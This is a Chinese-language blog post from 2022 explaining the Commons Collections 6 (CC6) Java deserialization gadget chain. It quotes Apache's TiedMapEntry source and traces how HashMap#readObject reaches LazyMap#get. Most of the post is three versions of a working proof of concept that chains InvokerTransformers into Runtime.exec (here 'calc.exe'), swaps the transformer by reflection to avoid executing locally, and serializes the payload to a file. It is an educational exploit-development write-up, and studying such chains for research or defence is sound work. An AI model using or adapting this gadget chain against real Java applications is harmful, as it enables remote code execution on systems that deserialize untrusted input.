commons.collections6

前⾔

jdk8u71之后,CC1链就不能⽤了,在ysoserial⾥,CC6链算是⽐较通⽤的利⽤链了,主要就是⾼版本兼容。

TiedMapEntry

解决Java⾼版本的利⽤问题,实际上就是找上下⽂中有没有其他调⽤LazyMap#get的地⽅,这⾥找到的类就是 org.apache.commons.collections.keyvalue.TiedMapEntry

/*
 *  Licensed to the Apache Software Foundation (ASF) under one or more
 *  contributor license agreements.  See the NOTICE file distributed with
 *  this work for additional information regarding copyright ownership.
 *  The ASF licenses this file to You under the Apache License, Version 2.0
 *  (the "License"); you may not use this file except in compliance with
 *  the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;

import org.apache.commons.collections.KeyValue;

/**
 * A {@link java.util.Map.Entry Map.Entry} tied to a map underneath.
 * <p>
 * This can be used to enable a map entry to make changes on the underlying
 * map, however this will probably mess up any iterators.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
 * 
 * @author Stephen Colebourne
 */
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    /** Serialization version */    
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;

    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    // Map.Entry interface
    //-------------------------------------------------------------------------
    /**
     * Gets the key of this entry
     * 
     * @return the key
     */
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }

    /**
     * Sets the value associated with the key direct onto the map.
     * 
     * @param value  the new value
     * @return the old value
     * @throws IllegalArgumentException if the value is set to this map entry
     */
    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        }
        return map.put(key, value);
    }

    /**
     * Compares this <code>Map.Entry</code> with another <code>Map.Entry</code>.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
     * 
     * @param obj  the object to compare to
     * @return true if equal key and value
     */
    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        }
        if (obj instanceof Map.Entry == false) {
            return false;
        }
        Map.Entry other = (Map.Entry) obj;
        Object value = getValue();
        return
            (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
            (value == null ? other.getValue() == null : value.equals(other.getValue()));
    }

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

    /**
     * Gets a string version of the entry.
     * 
     * @return entry as a string
     */
    public String toString() {
        return getKey() + "=" + getValue();
    }

}

其getValue⽅法调⽤了this.map.get,hashCode⽅法则调⽤了getValue,所以要想触发LazyMap利⽤链,就是 要找到哪⾥调⽤了TiedMapEntry#hashCode⽅法 简化的是可以通过java.util.HahsMap#readObject调⽤hash(key),然后在hash⽅法中再来调⽤ key.hashcode():

所以只需要让key等于TiedMapEntry对象即可。 构造初始POC:

package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
       };
        Transformer transformerChain = new
ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"moonsec");
       HashMap hashMap= new HashMap<>();
       hashMap.put(tiedMapEntry,"aaa");
   }
 public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new
FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
   }
public static void unserialize() throws  Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new
FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
   }
}

构造gadget

构造的时候使⽤了⼀些技巧,先创建了⼀个不执⾏命令的 Transformers 在序列化的前⼀刻才将其替换 为真正的Transformers,这样能够防⽌我们在⽣成poc时的本地命令执⾏。

package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
    public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
       };
        Transformer transformerChain = new
ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), new
ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"moonsec");
       HashMap hashMap= new HashMap<>();
       hashMap.put(tiedMapEntry,"aaa");
       Class c = LazyMap.class;
        Field factoryField =c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,transformerChain);
        serialize(hashMap);
        unserialize();
   }
    public static void serialize(Object obj) throws Exception {
 ObjectOutputStream outputStream = new ObjectOutputStream( new
FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
   }
    public static void unserialize() throws  Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new
FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
   }
}

发现 这个已经存在。在序列化前先把将他删除 原因boolean containsKey(Object key);//如果hashMap中存在指定的key对应的映射关系返回true,否则返 回false 也就是他检测到了hashMap中有⼀个key是moonsec的对象,我们唯⼀⽤到moonsec的地⽅就是 TiedMapEntry的构造函数⾥⾯,但是构造函数⾥⾯并没有修改lazyMap

其关键点就在expMap.put(tiedMapEntry,"aaa");⾥⾯,在HashMap的put⽅法中,也调⽤到了 hash(key);

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new  TiedMapEntry(lazyMap,"key");
        HashMap hashMap=new HashMap<>();
        hashMap.put(tiedMapEntry,"value");
        lazyMap.remove("key");
        Class c = LazyMap.class;
        Field  factoryfield = c.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazyMap,transformerChain);

        serialize(hashMap);
        unserialize();
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }

    public static void unserialize() throws  Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();

    }
}


posted @ 2022-10-14 23:09  Ray言午  阅读(62)  评论(0编辑  收藏  举报